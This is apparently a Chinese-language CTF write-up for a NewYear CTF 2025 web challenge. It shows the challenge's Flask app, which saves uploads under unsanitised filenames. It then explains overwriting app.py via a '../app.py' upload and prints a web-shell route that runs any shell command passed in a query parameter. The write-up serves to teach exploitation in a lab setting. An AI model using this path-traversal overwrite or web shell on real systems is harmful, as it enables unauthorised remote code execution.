NewYear CTF 2025--Web-🐍年大吉

题目网址:https://ctf.xidian.edu.cn/training/16?challenge=704

给了题目附件

image-20250429201406803

image-20250429201412575

app.py源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import os
import subprocess
from flask import Flask, request, render_template, jsonify, send_from_directory

app = Flask(__name__)

UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
@app.before_request
def before_request():
try:
os.remove('archive.tar')
except Exception as e:
print(f"Error occurred while removing tar file: {e}")

@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return 'No file part'

file = request.files['file']

if file.filename == '':
return 'No selected file'

file.save(os.path.join(app.config['UPLOAD_FOLDER'], file.filename))
return f'File {file.filename} uploaded successfully!'


@app.route('/list')
def list_files():
try:
result = subprocess.run(
['sh', '-c', f'cd {app.config["UPLOAD_FOLDER"]} && find *'],
stdout = subprocess.PIPE,
text = True
)
return jsonify({'files': result.stdout.splitlines()})
except subprocess.CalledProcessError as e:
return f"Error occurred while listing files: {e}"


@app.route('/delete', methods=['POST'])
def delete_files():
try:
subprocess.run(
['sh', '-c', f'cd {app.config["UPLOAD_FOLDER"]} && rm ./*']
)
return 'All files deleted successfully!'
except Exception as e:
return f"Error occurred while deleting files: {e}"


@app.route('/download', methods=['GET'])
def download_files():
subprocess.run(
['sh', '-c', f'cd {app.config["UPLOAD_FOLDER"]} && tar -cvf ../archive.tar *']
)

return send_from_directory(
directory='.',
path='archive.tar',
as_attachment=True
)



@app.route('/')
def home():
return render_template('index.html')


if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=5000)

一共有四个路由

  • /upload可以上传文件
  • /list可以查看上传在/uploads目录下的文件
  • /delete可以删除所有在/uploads目录下的文件
  • /download可以将所有在/uploads目录下的文件打包成archive.tar下载下来

根据给的题目附件的文件目录分布可知,app.py文件是在uploads目录的上一级,如果没有对文件名字进行过滤,就可以尝试构造出../app.py的文件名,利用upload路由上传文件并且覆盖掉源文件app.py,可以在上传的文件中添加一个可以RCE的路由,进而在覆盖掉源文件后可以进行RCE

直接在题目附件所给的app.py中添加可以RCE的路由

1
2
3
4
5
@app.route('/rce', methods=['GET'])
def exec_cmd():
cmd = request.args.get('cmd')
output = subprocess.getoutput(cmd)
return output

利用BurpSuite抓包进而构造文件名为../app.py

image-20250429202658946

最后就可以访问/rce路由执行RCE

image-20250429202743223


NewYear CTF 2025--Web-🐍年大吉
https://yschen20.github.io/2025/04/29/NewYear CTF 2025-Web-🐍年大吉/
作者
Suzen
发布于
2025年4月29日
更新于
2025年4月29日
许可协议